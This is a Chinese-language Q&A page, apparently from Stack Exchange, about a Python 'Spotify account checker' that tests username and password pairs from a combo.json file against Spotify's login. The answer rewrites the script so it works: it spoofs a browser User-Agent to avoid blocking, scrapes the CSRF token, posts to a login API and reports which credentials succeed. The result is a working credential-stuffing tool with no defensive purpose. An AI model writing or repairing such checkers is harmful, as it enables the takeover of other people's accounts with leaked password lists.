Python编写Spotify账号校验器登录失败问题求助

问题概述 #

我尝试用Python编写Spotify账号校验器，读取combo.json中的账号密码组合验证是否能登录Spotify官网，但无论用测试账号还是真实账号，脚本都返回登录失败。附上原程序代码及combo.json示例：

原代码 #

import sys
import requests
import json

def check_credentials(username, password):
    req = requests.session()
    param = {"username": username, "password": password}
    response = req.post("https://accounts.spotify.com/en/login", data=param)
    if response.status_code == 200 and "incorrect" not in response.text:
        return True
    else:
        return False

def main():
    try:
        with open("combo.json", "r") as file:
            combos = json.load(file)
            for combo in combos:
                username = combo["username"]
                password = combo["password"]
                if check_credentials(username, password):
                    print(f"Login successful for: {username}:{password}")
                else:
                    print(f"Login failed for: {username}:{password}")
    except FileNotFoundError:
        print("combo.json file not found.")

if __name__ == "__main__":
    main()

combo.json示例 #

[
    {"username": "user1", "password": "password1"},
    {"username": "user2", "password": "password2"}
]

问题原因 #

1. 错误的登录端点：直接POST到网页登录地址https://accounts.spotify.com/en/login无效，Spotify的实际登录是通过专门的API接口处理，而非表单提交到网页。
2. 缺少必要请求头：Spotify会验证请求的User-Agent等标识，无合法头的请求会被拦截或返回无效响应。
3. 未获取CSRF Token：登录请求需要携带页面生成的CSRF令牌，否则请求会被拒绝。
4. 不可靠的判断逻辑：仅通过状态码和文本关键词判断登录结果不准确，即使登录失败，页面也可能返回200状态码，且错误提示的文本可能变化。

修正后的代码 #

import requests
import json
from bs4 import BeautifulSoup

def check_credentials(username, password):
    session = requests.Session()
    # 设置合法的请求头，模拟浏览器访问
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36"
    }
    session.headers.update(headers)

    # 先访问登录页面获取CSRF Token和必要的Cookie
    login_page = session.get("https://accounts.spotify.com/en/login")
    soup = BeautifulSoup(login_page.text, "html.parser")
    csrf_token = soup.find("input", {"name": "csrf_token"})["value"]

    # 构造登录请求的参数
    login_data = {
        "username": username,
        "password": password,
        "csrf_token": csrf_token
    }
    # 使用正确的登录API端点
    login_response = session.post("https://accounts.spotify.com/api/login", data=login_data)

    # 通过响应的JSON数据判断登录状态
    try:
        result = login_response.json()
        # 登录成功会返回包含"redirect"字段的响应
        if "redirect" in result:
            return True
        else:
            return False
    except json.JSONDecodeError:
        # 若返回非JSON数据，说明请求被拦截或失败
        return False

def main():
    try:
        with open("combo.json", "r") as file:
            combos = json.load(file)
            for combo in combos:
                username = combo["username"]
                password = combo["password"]
                if check_credentials(username, password):
                    print(f"✅ Login successful for: {username}:{password}")
                else:
                    print(f"❌ Login failed for: {username}:{password}")
    except FileNotFoundError:
        print("Error: combo.json file not found.")

if __name__ == "__main__":
    main()

说明 #

1. 需要先安装beautifulsoup4库：执行pip install beautifulsoup4
2. 修正点说明：
   • 使用requests.Session维持会话，确保Cookie在请求间传递
   • 添加模拟浏览器的User-Agent头，避免被拦截
   • 先访问登录页面解析获取CSRF Token
   • 使用Spotify官方登录API端点https://accounts.spotify.com/api/login提交请求
   • 通过响应的JSON结果判断登录状态，比文本匹配更可靠

内容的提问来源于stack exchange，提问作者user23921423